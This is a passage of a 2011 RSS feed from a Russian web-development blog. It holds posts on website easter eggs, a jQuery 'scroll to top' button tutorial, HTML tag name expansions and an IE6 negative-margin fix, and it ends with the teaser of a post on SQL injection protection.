<p>А сколько вы и, возможно, ваша компания взяла бы за такое денег? Коменты ниже приветствуются <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile &quot;NoConflict между jQuery и MooTools&quot; или &quot;Как поженить две библиотеки&quot;" class='wp-smiley' title="&quot;NoConflict между jQuery и MooTools&quot; или &quot;Как поженить две библиотеки&quot;" /> </p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/IhrwjMW8ydY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/ajax/jquery/noconflict-mezhdu-jquery-i-mootools/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		<feedburner:origLink>http://shublog.ru/ajax/jquery/noconflict-mezhdu-jquery-i-mootools/</feedburner:origLink></item>
		<item>
		<title>Как шутят программисты: сюрпризы на сайтах</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/ppSYX2u8BCQ/</link>
		<comments>http://shublog.ru/other/kak-shutyat-programmisty-syurprizy-na-sajjtakh/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 07:01:30 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[Другое]]></category>
		<category><![CDATA[юмор]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1406</guid>
		<description><![CDATA[Вот и вернулись мы из путешествия! Что я могу сказать про Испанию? Она какая-то родная, там чувствуешь себя как на усовершенствованной родине! Почему-то после Франции остались впечатления как о Европе в пастэльных тонах, о Финляндии – как у продвинутых соседей по даче (в максимально положительных тонах этого выражения), об Украине – как об отголосках СССР, [...]]]></description>
			<content:encoded><![CDATA[<p>Вот и вернулись мы из путешествия! Что я могу сказать про Испанию? Она какая-то родная, там чувствуешь себя как на усовершенствованной родине! Почему-то после Франции остались впечатления как о Европе в пастэльных тонах, о Финляндии – как у продвинутых соседей по даче (в максимально положительных тонах этого выражения), об Украине – как об отголосках СССР, словно попадаешь в прошлое, о Белоруссии – как о даче. А вот Испания всем своим нутром напоминает родную матушку Россию, но только красочнее и продвинутее. Так что мы туда обязательно вернёмся <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Как шутят программисты: сюрпризы на сайтах" class='wp-smiley' title="Как шутят программисты: сюрпризы на сайтах" /> </p>
<p>Предыдущая запись про то, <a href="http://shublog.ru/ajax/jquery/kak-sdelat-knopku-naverkh-kak-vkontakte/" target="_blank">как сделать кнопку &quot;наверх&quot; как вКонтакте</a> оказалась довольно полезной и популярной, что даже Яндекс внедрил у себя эту фишку на странице с результатами поиска… Хотя это, к сожалению, скорее всего совпадение <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Как шутят программисты: сюрпризы на сайтах" class='wp-smiley' title="Как шутят программисты: сюрпризы на сайтах" /> </p>
<p>Ещё перед отъездом я хотел опубликовать пост в продолжение темы о том, <a href="http://shublog.ru/other/programmisty-shutyat/" target="_blank">как шутят программисты</a>. На этот раз я раздобыл подборку сайтов, на которых запрятаны приколюхи различного вида и сорта. А посему, поехали!</p>
<p>  <noindex>
<ol>
<li><a href="http://www.i-kamin.ru/maps/sushevskiy_val.html" target="_blank" rel="nofollow"><strong>www.i-kamin.ru/maps/sushevskiy_val.html</strong></a> – одна из лучших приколюх. Нужно просто кликнуть по надписи на карте карты &quot;Центр каминов&quot;. А далее можно откинуться и посмотреть экшн.</li>
<li><a href="http://www.parkbt.ru/" target="_blank" rel="nofollow"><strong>www.parkbt.ru</strong></a> – конечно, это скорее пасхалка, чем прикол, но всё таки обходить не очень хочется. В логотипе кликаем по точке и наслаждаемся музыкой и зрелищем. Да, там несколько различных роликов, поэтому повторяйте сие действо, пока не наткнётесь на повтор.      <br /><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="parkbt" border="0" alt="parkbt Как шутят программисты: сюрпризы на сайтах" src="http://shublog.ru/content/uploads/2011/08/parkbt.jpg" width="550" height="125" /> </li>
<li><a href="http://okmedia.ru/chat_room.php" title="http://okmedia.ru/chat_room.php" target="_blank" rel="nofollow"><strong>okmedia.ru/chat_room.php</strong></a> – тут можно задавать вопросы. Что-то мне подсказывает, что её нужно вежливо попросить - &quot;покажи попу&quot; и &quot;покажи сиськи&quot;.</li>
<li><a href="http://miss.sporthit.ru/" title="http://miss.sporthit.ru/" target="_blank" rel="nofollow"><strong>miss.sporthit.ru</strong></a> – несколько раз кликните по доске для сёрфинга у девушки слева.</li>
<li><a href="http://completo.ru/" target="_blank" rel="nofollow"><strong>completo.ru</strong></a> – продолжаем! Нужно пять раз развернуть и свернуть плакат, потянув по бирке &quot;Тяните&quot;.</li>
<li><a href="http://zoloto585.ru/" title="http://zoloto585.ru/" target="_blank" rel="nofollow"><strong>zoloto585.ru</strong></a> – нужно кликнуть трижды по продавщице в центре (рядом с надписью 585). Также говорят, что если по охраннику справа кликать, тоже что-то будет, но лично у меня оно не сработало.      <br /><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="585" border="0" alt="585 Как шутят программисты: сюрпризы на сайтах" src="http://shublog.ru/content/uploads/2011/08/585.jpg" width="550" height="170" /> </li>
<li><a href="http://www.lazurnoe.com" target="_blank" rel="nofollow"><strong>www.lazurnoe.com</strong></a> – классика жанра. Кликаем на чайку и смотрим.</li>
<li><a href="http://www.greenbag.ru/story/finland" target="_blank" rel="nofollow"><strong>www.greenbag.ru/story/finland</strong></a> – кликаем на носу оленя и смотрим на оленей. Олени такие олени.</li>
<li><a href="http://www.gazon-avangard.ru/redactor.php?id_part=9" target="_blank" rel="nofollow"><strong>www.gazon-avangard.ru/redactor.php?id_part=9</strong></a> – ждём пока проиграет анимация в шапке и появится надпись &quot;Газон Авангард&quot;, после чего можно дважды кликнуть по серпу. И, кстати, версий много было. Вот линк, где можно вместо двойки подставлять другие цифры (от 3 до 7), посмотрите, что ещё было gazon-avangard.ru/flash/shapka2.swf </li>
<li><a href="http://super-perevod.com.ua/" target="_blank" rel="nofollow"><strong>super-perevod.com.ua</strong></a> – приколюха от тех, кто не любит амэрику. Нужно всего лишь кликнуть на самолётик.</li>
<li><a href="http://seopult.ru" target="_blank" rel="nofollow"><strong>seopult.ru</strong></a> – если вы залогинены. разлогиньтесь. кликайте трижды по букве O или U в логотипе и смотрите рекламный ролик!</li>
<li><a href="http://559.tut.ua" target="_blank" rel="nofollow"><strong>559.tut.ua</strong></a> – самый незашифрованный прикол. Наведите на носатого мужика в шапке сайта</li>
<li><a href="http://www.energoservis.net" target="_blank" rel="nofollow"><strong>www.energoservis.net</strong></a> – кликните по луне в шапке пять раз и смотрите коротенький ролик.      <br /><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="energo" border="0" alt="energo Как шутят программисты: сюрпризы на сайтах" src="http://shublog.ru/content/uploads/2011/08/energo.jpg" width="549" height="49" /> </li>
<li><a href="http://www.doroga78.ru" target="_blank" rel="nofollow"><strong>www.doroga78.ru</strong></a> – не совсем прикол, но всё равно удачно. Нужно внизу страницы кликнуть трижды по одному из светофоров – так что вас ждёт несколько вариантов событий.</li>
<li><a href="http://32pearls.by.ru/staff" title="http://32pearls.by.ru/staff/" target="_blank" rel="nofollow"><strong>32pearls.by.ru/staff</strong></a> – самый примитивный прикол. Правда я так и не понял, как этого не заметил заказчик. Кликайте по фоткам сотрудников.</li>
<li><a href="http://www.elpida.ru/" target="_blank" rel="nofollow"><strong>www.elpida.ru</strong></a> – в шапке кликаем по верхнему левому окну/балкону левого дома и... играем за орамбутанбов</li>
<li><a href="http://www.simpleart.com.ua" target="_blank" rel="nofollow"><strong>www.simpleart.com.ua</strong></a> – наводим на логотип в шапке, держим пару секунд и изучаем изменения.      <br /><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="simpleart" border="0" alt="simpleart Как шутят программисты: сюрпризы на сайтах" src="http://shublog.ru/content/uploads/2011/08/simpleart.jpg" width="550" height="200" /> </li>
<li><a href="http://rem-dom.info" target="_blank" rel="nofollow"><strong>rem-dom.info</strong></a> – внизу слева есть строитель. По нему нужно трижды кликнуть.</li>
<li><a href="http://bobrikov.net/" title="http://bobrikov.net/" target="_blank" rel="nofollow"><strong>bobrikov.net</strong></a> – в шапке кликните на логотипе по языку бобра (сильная фраза – <em>прим.ред.</em>)</li>
<li><a href="http://www.notebook812.ru/_rasprodaja.htm" target="_blank" rel="nofollow"><strong>www.notebook812.ru/_rasprodaja.htm</strong></a> – трижды кликаем на башмак мужика в шапке. Прикол странноват, а точнее его зацикленное продолжение, но тем не менее.</li>
<li><a href="http://avalon74.ru/order" target="_blank" rel="nofollow"><strong>avalon74.ru/order</strong></a> – кликните по букве &quot;о&quot; в фразе &quot;Форма обучения&quot; (седьмое поле формы).</li>
<li><a href="http://balagan.atilekt.com" title="http://balagan.atilekt.com/" target="_blank" rel="nofollow"><strong>balagan.atilekt.com</strong></a> – кликаем по любому месту, но не ссылке, и набираем на клавиатуре dsfox.</li>
<li><a href="http://www.omskmap.ru/" target="_blank" rel="nofollow"><strong>www.omskmap.ru</strong></a> – не особо интересный прикол, но всё же. На карте кликните по букве О в надписи &quot;Омская область&quot;</li>
<li><a href="http://estet-mebel.ru/index.php?categoryid=4" target="_blank" rel="nofollow"><strong>estet-mebel.ru/index.php?categoryid=4</strong></a> – наводим на портрет Пушкина в шапке. Кто-то его явно не очень любил.</li>
<li><a href="http://www.techdays.ru" target="_blank" rel="nofollow"><strong>www.techdays.ru</strong></a> – в форме поиска пишем linux и смотрим ролик.</li>
<li><a href="http://www.alfastrah.ru/flash/top_menu/menu_swingers.swf" target="_blank" rel="nofollow"><strong>www.alfastrah.ru/flash/top_menu/menu_swingers.swf</strong></a> – раньше на главной странице нужно было раз пять кликнуть по телефону в шапке и тогда вы попадали на страницу этого ролика. Сейчас этого уже нет, но ролик остался.</li>
<li><a href="http://xenus.ru/" target="_blank" rel="nofollow"><strong>xenus.ru</strong></a> – можно дважды кликнуть по логотипам слева &quot;Предтечи&quot; и &quot;Xenus&quot;, а также по девушке справа.</li>
<li><a href="http://zlo.rt.mipt.ru:7500/search" target="_blank" rel="nofollow"><strong>zlo.rt.mipt.ru:7500/search</strong></a> – набираем в поиске &quot;печеньки&quot; и вспоминаем старый прикол про Дэйва Блэйна.</li>
<li><a href="http://www.aids-info.ru/" target="_blank" rel="nofollow"><strong>www.aids-info.ru</strong></a> – кликаем на кнопочку посередине креста и смотрим ролик. Правда, это скорее не секретная приколка, а просьба заказчиков разместить такой ролик.</li>
<li><a href="http://speed.yoip.ru/" target="_blank" rel="nofollow"><strong>speed.yoip.ru</strong></a> – и напоследок приколка типа той, которая была в предыдущей статье. Заходим в любой тест, смотрим исходный код страницы и наслаждаемся <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Как шутят программисты: сюрпризы на сайтах" class='wp-smiley' title="Как шутят программисты: сюрпризы на сайтах" /> </li>
</ol>
<p></noindex>
<p>На сегодня всё! У программистов, особенно флэшеров, всегда в их разработках найдётся место для одного-двух приколов. Буду рад комментариям, а также ссылочкам на другие секретки на сайтах.</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/ppSYX2u8BCQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/other/kak-shutyat-programmisty-syurprizy-na-sajjtakh/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://shublog.ru/other/kak-shutyat-programmisty-syurprizy-na-sajjtakh/</feedburner:origLink></item>
		<item>
		<title>Как сделать кнопку "наверх" как вКонтакте</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/HFwpSndFmfw/</link>
		<comments>http://shublog.ru/ajax/jquery/kak-sdelat-knopku-naverkh-kak-vkontakte/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 18:53:44 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1389</guid>
		<description><![CDATA[ Всем привет! Уже больше месяца хочу написать этот пост, но всё руки как-то не доходили. Ну, теперь дошли, наконец-то. Давать обещаний не буду, но теперь я постараюсь вновь восстановить свой прежний режим написания в блог, хотя бы раз в неделю. Ну да ладно, перейдём к делу.
Думаю как минимум 95% читателей зарегистрированы вКонтакте. Сидят они [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border-right-width: 0px; margin: 0px 0px 0px 15px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="" border="0" alt="axe Как сделать кнопку &quot;наверх&quot; как вКонтакте" align="right" src="http://shublog.ru/content/uploads/2011/07/axe.jpg" width="349" height="207" /> Всем привет! Уже больше месяца хочу написать этот пост, но всё руки как-то не доходили. Ну, теперь дошли, наконец-то. Давать обещаний не буду, но теперь я постараюсь вновь восстановить свой прежний режим написания в блог, хотя бы раз в неделю. Ну да ладно, перейдём к делу.</p>
<p>Думаю как минимум 95% читателей зарегистрированы вКонтакте. Сидят они там или нет – сейчас не суть важно. В общем, до недавнего времени там была такая прикольная кнопочка &quot;Наверх&quot;, которая появлялась после того, как мы прокручиваем вниз страницу ниже левого меню. Она появлялась в тему и была очень удобной и ненавязчивой. Сейчас мы попробуем её повторить!</p>
<p>Но перед этим отмечу лишь то, что неделю назад Контакт сменил эту кнопочку на такую, которая после возвращения наверх сможет вернуть вас вниз в то же самое место, откуда вы улетели наверх. Делается это несложно, но делать мы этого не будем. Лично я считаю идею любопытной, но бесполезной для большинства случаев. Если мы прочитали вниз докуда надо, а дальше читать нечего, то зачем сюда возвращаться?</p>
<p>Ладно, хватит демагогии, приступим к делу! Прежде всего приведу <strong>два мелких примера</strong>. Это <strong>две ссылки, кликнув по которым оказываешься на уровне того блока, который указан</strong>.</p>
</p>
<p> <span id="more-1389"></span>
</p>
<ul>
<li>Первый пример – это классика HTML, а именно якоря.
<div class="coding_block">&lt;a href=&quot;#main&quot;&gt;Вверх&lt;/a&gt;</div>
<p>Кликнув по ссылке, вы попадёте на участок страницы с id под названием main. По сути - не обязательно вершина страницы, а любое удобное место. Минус один - переход происходит скачком. Чтобы этого не было, можно ссылочку сделать с плавной прокруткой...</p>
</li>
<li>Второй пример - плавная прокрутка при нажатии на ссылку.
<div class="coding_block">&lt;a href=&quot;#&quot; onclick=&quot;$('body').scrollTo('0px',1000, {axis:'y'})&quot;&gt;Наверх&lt;/a&gt;</div>
<p>По клику вы плавно переноситесь в указанное место при помощи скрипта jQuery.</p>
</li>
</ul>
<p>&#160;</p>
<p>Это база. Зачем? А чтобы было! Вот теперь начнём делать кнопочку по типу <strike>вТентакли</strike> вКонтакте, и сперва возьмёмся за оформление.</p>
<div class="coding_block">a#move_up {    <br />&#160;&#160; position: fixed;     <br />&#160;&#160; top: 10px;     <br />&#160;&#160; display: none;     </p>
<p>&#160;&#160; width: 90px;     <br />&#160;&#160; height: 21px;&#160; <br />&#160;&#160; text-align: center;     <br />&#160;&#160; font: 12px Verdana;     <br />&#160;&#160; text-decoration: none;     <br />&#160;&#160; color: #2b587a;     <br />&#160;&#160; background: #e1e7ed;     <br />&#160;&#160; padding-top:5px;     <br />&#160;&#160; opacity:0.9;     <br />&#160;&#160; filter: alpha(opacity=90);     <br />}     <br />a#move_up:hover {     <br />&#160;&#160; color: #fff;     <br />&#160;&#160; background: #597da3;     <br />} </div>
<p>Думаю не стоит пояснять, что мы задали оформление ссылки как блоку и зафиксировали её на странице. Думаю не стоит пояснять, что html-код этой ссылки будет выглядеть вот так:</p>
<div class="coding_block">&lt;a id=&quot;move_up&quot; href=&quot;#&quot;&gt;Наверх&lt;/a&gt;</div>
<p>А теперь подключаем jQuery и вводим скрипт.</p>
<div class="coding_block">&lt;script type=&quot;text/javascript&quot; src=&quot;jquery.min.js&quot;&gt;&lt;/script&gt;    <br />&lt;script type=&quot;text/javascript&quot;&gt;     <br />$(function () {&#160; <br />&#160;&#160;&#160; $(window).scroll(function () {     <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; if ($(this).scrollTop() &gt; 100) $('a#move_up').fadeIn();&#160; <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; else&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; $('a#move_up').fadeOut(400);&#160; <br />&#160;&#160;&#160; });     <br />&#160;&#160;&#160; $('a#move_up').click(function () {     <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; $('body,html').animate({&#160; <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; scrollTop: 0 <img style="border-bottom: 0px; border-left: 0px; margin: 0px 0px 0px 10px; display: inline; border-top: 0px; border-right: 0px" title="Пример Как сделать кнопку наверх как вКонтакте" border="0" alt="Untitled1 Как сделать кнопку &quot;наверх&quot; как вКонтакте" align="right" src="http://shublog.ru/content/uploads/2011/07/Untitled1.jpg" width="254" height="503" />    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; }, 800);&#160; <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; return false;     <br />&#160;&#160;&#160; });     <br />});     <br />&lt;/script&gt;</div>
<p> И теперь, по традиции, разбираем построчно.</p>
<ol>
<li>Строки 1-3. Как это ни банально, подключаем и инициализируем jQuery. </li>
<li>Строка 4. Вешаем на событие скроллинга тему, чтобы… </li>
<li>Строки 5-6. …чтобы при прокрутке на 100 пикселов сверху появляется созданный блок, а при возвращении наверх – исчезает. </li>
<li>Строка 8. Вешаем на ссылку событие, чтобы по клику… </li>
<li>Строки 9-11. Чтобы по клику происходила прокрутка контента наверх (до тега хтмл/боди) со скоростью 800 мс. </li>
</ol>
<p>Вот и всё! Получите-распишитесь за скрипт прокрутки как вТентакли.</p>
<p>Что же сказать напоследок? Ну, изучайте jQuery (или аналоги) и вы сможете не только это <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Как сделать кнопку &quot;наверх&quot; как вКонтакте" class='wp-smiley' title="Как сделать кнопку &quot;наверх&quot; как вКонтакте" /> </p>
<div><a class="but_sample" href="http://shublog.ru/examples/2011.07.14-vk.html" target="_blank">&#160;</a></div>
<p>&nbsp;</p>
<p><strong>UPD:</strong> Огромное спасибо постоянному читателю <strong>EGORR</strong> за то, что оформил этот небольшой скриптик в полноценный плагин. Отличная работа! =) </p>
<div><a class="but_download" href="http://shublog.ru/files/js/upScrollButton.zip">&#160;</a></div>
<p>&nbsp;</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/HFwpSndFmfw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/ajax/jquery/kak-sdelat-knopku-naverkh-kak-vkontakte/feed/</wfw:commentRss>
		<slash:comments>63</slash:comments>
		<feedburner:origLink>http://shublog.ru/ajax/jquery/kak-sdelat-knopku-naverkh-kak-vkontakte/</feedburner:origLink></item>
		<item>
		<title>Расшифровка HTML тегов</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/miWKG5udM9c/</link>
		<comments>http://shublog.ru/html-and-css/rasshifrovka-html-tegov/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 21:48:35 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[HTML&CSS]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[вальпупер]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1385</guid>
		<description><![CDATA[А вы никогда не задумывались почему тег для ссылки обозначается a, или почему тег div называется именно див, а не дав, удав, удафф или ещё как? Естественно, их так назвали не просто так, и их расшифровка кроется в английских словах. Покажу, пожалуй, самые основные из них. Тем, кто на бронепоезде, посвящается.




Тег 


Полное название 


Перевод





&#60;B&#62; 
bold
жирный [...]]]></description>
			<content:encoded><![CDATA[<p>А вы никогда не задумывались почему тег для ссылки обозначается a, или почему тег div называется именно див, а не дав, удав, удафф или ещё как? Естественно, их так назвали не просто так, и их расшифровка кроется в английских словах. Покажу, пожалуй, самые основные из них. Тем, кто на бронепоезде, посвящается.</p>
<table border="0" cellspacing="0" cellpadding="2" width="100">
<thead>
<tr>
<th valign="top">
<p align="center">Тег </p>
</th>
<th valign="top">
<p align="center">Полное название </p>
</th>
<th valign="top">
<p align="center">Перевод</p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td valign="top">&lt;B&gt; </td>
<td valign="top">bold</td>
<td valign="top">жирный </td>
</tr>
<tr>
<td valign="top">&lt;I&gt;</td>
<td valign="top">italic</td>
<td valign="top">курсив</td>
</tr>
<tr>
<td valign="top">&lt;EM&gt;</td>
<td valign="top">emphasis</td>
<td valign="top">акцент </td>
</tr>
<tr>
<td valign="top">&lt;U&gt;</td>
<td valign="top">underline</td>
<td valign="top">подчеркнутый </td>
</tr>
<tr>
<td valign="top">&lt;S&gt; </td>
<td valign="top">strikethrough</td>
<td valign="top">зачеркнутый </td>
</tr>
<tr>
<td valign="top">&lt;SUB&gt;</td>
<td valign="top">subscript</td>
<td valign="top">подстрочный индекс </td>
</tr>
<tr>
<td valign="top">&lt;SUP&gt;</td>
<td valign="top">superscript</td>
<td valign="top">надстрочный индекс </td>
</tr>
<tr>
<td valign="top">&lt;A&gt;</td>
<td valign="top">anchor</td>
<td valign="top">якорь (т.е., другая страница как бы &quot;бросила якорь&quot; на эту)</td>
</tr>
<tr>
<td valign="top">&lt;DIV&gt;</td>
<td valign="top">division</td>
<td valign="top">раздел </td>
</tr>
<tr>
<td valign="top">&lt;SPAN&gt;</td>
<td valign="top">span</td>
<td valign="top">интервал </td>
</tr>
<tr>
<td valign="top">&lt;P&gt;</td>
<td valign="top">paragraph</td>
<td valign="top">абзац </td>
</tr>
<tr>
<td valign="top">&lt;PRE&gt;</td>
<td valign="top">preformatted</td>
<td valign="top">предварительно отформатированный</td>
</tr>
<tr>
<td valign="top">&lt;BR&gt;</td>
<td valign="top">break</td>
<td valign="top">разрыв </td>
</tr>
<tr>
<td valign="top">&lt;HR&gt;</td>
<td valign="top">horisontal rule</td>
<td valign="top">горизонтальная черта</td>
</tr>
<tr>
<td valign="top">&lt;OL&gt;</td>
<td valign="top">ordered list</td>
<td valign="top">упорядоченный (нумерованный) список </td>
</tr>
<tr>
<td valign="top">&lt;UL&gt;</td>
<td valign="top">unordered list</td>
<td valign="top">неупорядоченный список </td>
</tr>
<tr>
<td valign="top">&lt;LI&gt;</td>
<td valign="top">list item</td>
<td valign="top">пункт списка </td>
</tr>
<tr>
<td valign="top">&lt;DL&gt;</td>
<td valign="top">definition list</td>
<td valign="top">определение списка (терминов)</td>
</tr>
<tr>
<td valign="top">&lt;DT&gt;</td>
<td valign="top">definition term</td>
<td valign="top">определение термина</td>
</tr>
<tr>
<td valign="top">&lt;DD&gt;</td>
<td valign="top">definition description</td>
<td valign="top">определение описания (термина) </td>
</tr>
<tr>
<td valign="top">&lt;TABLE&gt;</td>
<td valign="top">table</td>
<td valign="top">таблица </td>
</tr>
<tr>
<td valign="top">&lt;THEAD&gt;</td>
<td valign="top">table head</td>
<td valign="top">заголовок таблицы </td>
</tr>
<tr>
<td valign="top">&lt;TBODY&gt;</td>
<td valign="top">table body</td>
<td valign="top">тело таблицы </td>
</tr>
<tr>
<td valign="top">&lt;TR&gt;</td>
<td valign="top">table row</td>
<td valign="top">строка таблицы </td>
</tr>
<tr>
<td valign="top">&lt;TH&gt;</td>
<td valign="top">table header</td>
<td valign="top">заголовок таблицы (ячейка)</td>
</tr>
<tr>
<td valign="top">&lt;TD&gt;</td>
<td valign="top">table data</td>
<td valign="top">ячейка (данное) таблицы </td>
</tr>
<tr>
<td valign="top">&lt;TFOOT&gt;</td>
<td valign="top">table foot</td>
<td valign="top">основание, &quot;подвал&quot; таблицы</td>
</tr>
</tbody>
</table>
<p>&#160;</p>
<p>Прошу прощения за долгие промежутки между записями, физически не успеваю писать, а потом и полноценно писать. Обещаю к концу лета исправиться! А пока ловите симпотную обоину на рабочий стол =).</p>
<p><a href="http://shublog.ru/content/uploads/2011/06/ff.jpg"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="ff" border="0" alt="ff thumb Расшифровка HTML тегов" src="http://shublog.ru/content/uploads/2011/06/ff_thumb.jpg" width="576" height="442" /></a></p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/miWKG5udM9c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/html-and-css/rasshifrovka-html-tegov/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://shublog.ru/html-and-css/rasshifrovka-html-tegov/</feedburner:origLink></item>
		<item>
		<title>Отрицательный margin в IE6</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/nJR81GF4j9I/</link>
		<comments>http://shublog.ru/html-and-css/otricatelnyjj-margin-v-ie6/#comments</comments>
		<pubDate>Wed, 11 May 2011 10:03:01 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[HTML&CSS]]></category>
		<category><![CDATA[Важные мелочи]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[ie]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1380</guid>
		<description><![CDATA[ Сколько бы я не зарекался, что больше не буду поддерживать шестой ишак, он вновь и вновь продолжает преследовать меня как возвратный тиф. В таких случая не отделаться скриптом, который просит обновить браузер, мол, подавай полную поддержку, и тогда, увы, приходится вспоминать обо всех мелких пакостях ишачка.
К сожалению (в данном случае), существуют клиенты, которые читают [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border-bottom: 0px; border-left: 0px; margin: 25px 0px 20px 15px; display: inline; border-top: 0px; border-right: 0px" title="html" border="0" alt="html Отрицательный margin в IE6" align="right" src="http://shublog.ru/content/uploads/2011/05/html.jpg" width="220" height="244" /> Сколько бы я не зарекался, что больше не буду поддерживать шестой ишак, он вновь и вновь продолжает преследовать меня как возвратный тиф. В таких случая не отделаться скриптом, который просит обновить браузер, мол, подавай полную поддержку, и тогда, увы, приходится вспоминать обо всех мелких пакостях ишачка.</p>
<p>К сожалению (в данном случае), существуют клиенты, которые читают что-то в интернете, зачастую что-то очень древнее, и узнают про кроссбраузерность. Вот с этого момента и начинаются их высказывания – мы хотим поддержку шестого ишака.</p>
<p>Вот на праздниках, собственно, мне и пришлось делать полную поддержку шестого ишака, так как какой-то дяденька из Милана захотел (или, проще говоря, вс*алось - <em>прим.ред.</em>). Ну, сказано-сделано.</p>
<p>Я уже писал ранее <a href="http://shublog.ru/ajax/jquery/10-luchshikh-css-khakov-dlya-krossbrauzernosti/" target="_blank">об основных CSS-хаках, для достижения кроссбраузерности</a>, где бОльшая часть которых предназначалась именно ишаку. Вот там я забыл ещё об одном из них.</p>
<p>&#160;</p>
<h4 align="center">Проблема отрицательного margin в IE6</h4>
<p><strong><u>Проблема</u></strong>: при использовании отрицательного margin на блок (в шестом ишаке), блок смещается как нужно, но вся область, которая принадлежит этой части с отрицательным значением – пропадает.</p>
<p>Иными словами вы смещаете блок в пустоту или, проще говоря, отрезаете кусок вашего блока.</p>
<p><strong><u>Решение</u></strong>: блоку, которому задан отрицательный margin надо прописать <em>position: relative</em>;, а также, на выбор, задать высоту, ширину или float.</p>
<p><strong><u>Почему?</u></strong> Дело в том, что обрезка происходит только в том случае, когда блок выходит за пределы родительского блока, у которого есть layout. А чтобы всё работало, нужно дочернему элементу, не забыв про position:relative, также задать layout. Это можно сделать различными способами, из которых самыми безобидными, простыми и валидными являются ширина, высота (кроме значений auto) и float (кроме значения none) – любое на выбор.</p>
<p>&#160;</p>
<p>&#160;</p>
<p>И напоследок. У меня висят несколько статей на заказ от читателей. Я не забил, я про них помню и обязательно напишу, когда освобожусь. Сейчас пореже пишу, так как аврал с проектами, работой, плюс свадьба на носу. Тем не менее блог не покинут, stay tuned! </p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/nJR81GF4j9I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/html-and-css/otricatelnyjj-margin-v-ie6/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		<feedburner:origLink>http://shublog.ru/html-and-css/otricatelnyjj-margin-v-ie6/</feedburner:origLink></item>
		<item>
		<title>SQL инъекции и как от них защититься</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/QbPg8zrvtwI/</link>
		<comments>http://shublog.ru/php/sql-inekcii-i-zashhita-ot-nikh-dlya-chajjnikov-i-kipyatilnikov/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 09:22:00 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[защита]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1370</guid>
		<description><![CDATA[ Вот и весна пришла, настоящая. На улице уже давно плюс, всё почти растаяло, хорошо, свежо… А значит на носу сессии и сдачи проектов для освобождения от головных болей летом. Вот и я во всё это погружен, хотя нашёл время чиркнуть пару строк.
Сегодня я затрону давно обещанную тему про SQL инъекции (не прошло и полгода… [...]]]></description>
